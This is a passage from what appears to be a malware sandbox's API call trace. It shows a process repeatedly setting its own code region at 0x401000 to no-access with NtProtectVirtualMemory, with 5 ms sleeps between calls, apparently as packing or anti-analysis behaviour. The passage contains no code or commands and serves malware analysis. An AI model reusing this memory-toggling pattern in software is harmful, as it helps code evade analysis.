OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.530] Sleep (dwMilliseconds=0x5) [0348.575] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.576] Sleep (dwMilliseconds=0x5) [0348.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.620] Sleep (dwMilliseconds=0x5) [0348.668] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.669] Sleep (dwMilliseconds=0x5) [0348.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.718] Sleep (dwMilliseconds=0x5) [0348.759] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.760] Sleep (dwMilliseconds=0x5) [0348.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.807] Sleep (dwMilliseconds=0x5) [0348.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.856] Sleep (dwMilliseconds=0x5) [0348.900] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.900] Sleep (dwMilliseconds=0x5) [0348.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0348.951] Sleep (dwMilliseconds=0x5) [0349.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.026] Sleep (dwMilliseconds=0x5) [0349.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.075] Sleep (dwMilliseconds=0x5) [0349.118] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.119] Sleep (dwMilliseconds=0x5) [0349.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.170] Sleep (dwMilliseconds=0x5) [0349.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.308] Sleep (dwMilliseconds=0x5) [0349.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.355] Sleep (dwMilliseconds=0x5) [0349.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.404] Sleep (dwMilliseconds=0x5) [0349.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.467] Sleep (dwMilliseconds=0x5) [0349.509] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.510] Sleep (dwMilliseconds=0x5) [0349.559] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.560] Sleep (dwMilliseconds=0x5) [0349.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.608] Sleep (dwMilliseconds=0x5) [0349.657] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.658] Sleep (dwMilliseconds=0x5) [0349.701] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.702] Sleep (dwMilliseconds=0x5) [0349.746] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.746] Sleep (dwMilliseconds=0x5) [0349.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.794] Sleep (dwMilliseconds=0x5) [0349.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.838] Sleep (dwMilliseconds=0x5) [0349.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.886] Sleep (dwMilliseconds=0x5) [0349.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0349.935] Sleep (dwMilliseconds=0x5) [0350.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.005] Sleep (dwMilliseconds=0x5) [0350.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.058] Sleep (dwMilliseconds=0x5) [0350.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.116] Sleep (dwMilliseconds=0x5) [0350.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.154] Sleep (dwMilliseconds=0x5) [0350.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.199] Sleep (dwMilliseconds=0x5) [0350.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.243] Sleep (dwMilliseconds=0x5) [0350.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.302] Sleep (dwMilliseconds=0x5) [0350.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.344] Sleep (dwMilliseconds=0x5) [0350.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.391] Sleep (dwMilliseconds=0x5) [0350.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.532] Sleep (dwMilliseconds=0x5) [0350.886] Sleep (dwMilliseconds=0x5) [0350.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0350.965] Sleep (dwMilliseconds=0x5) [0351.042] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.043] Sleep (dwMilliseconds=0x5) [0351.092] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.093] Sleep (dwMilliseconds=0x5) [0351.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.135] Sleep (dwMilliseconds=0x5) [0351.183] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.184] Sleep (dwMilliseconds=0x5) [0351.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.229] Sleep (dwMilliseconds=0x5) [0351.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.277] Sleep (dwMilliseconds=0x5) [0351.322] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.323] Sleep (dwMilliseconds=0x5) [0351.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.374] Sleep (dwMilliseconds=0x5) [0351.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.418] Sleep (dwMilliseconds=0x5) [0351.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.483] Sleep (dwMilliseconds=0x5) [0351.525] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.526] Sleep (dwMilliseconds=0x5) [0351.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.575] Sleep (dwMilliseconds=0x5) [0351.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.619] Sleep (dwMilliseconds=0x5) [0351.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.713] Sleep (dwMilliseconds=0x5) [0351.763] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.763] Sleep (dwMilliseconds=0x5) [0351.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.807] Sleep (dwMilliseconds=0x5) [0351.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.854] Sleep (dwMilliseconds=0x5) [0351.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.902] Sleep (dwMilliseconds=0x5) [0351.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0351.953] Sleep (dwMilliseconds=0x5) [0352.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.029] Sleep (dwMilliseconds=0x5) [0352.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.072] Sleep (dwMilliseconds=0x5) [0352.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.121] Sleep (dwMilliseconds=0x5) [0352.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.170] Sleep (dwMilliseconds=0x5) [0352.217] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.217] Sleep (dwMilliseconds=0x5) [0352.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.261] Sleep (dwMilliseconds=0x5) [0352.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.309] Sleep (dwMilliseconds=0x5) [0352.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.353] Sleep (dwMilliseconds=0x5) [0352.457] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.458] Sleep (dwMilliseconds=0x5) [0352.498] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.499] Sleep (dwMilliseconds=0x5) [0352.587] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.588] Sleep (dwMilliseconds=0x5) [0352.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.685] Sleep (dwMilliseconds=0x5) [0352.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.735] Sleep (dwMilliseconds=0x5) [0352.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.783] Sleep (dwMilliseconds=0x5) [0352.828] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.831] Sleep (dwMilliseconds=0x5) [0352.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0352.924] Sleep (dwMilliseconds=0x5) [0352.980] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, 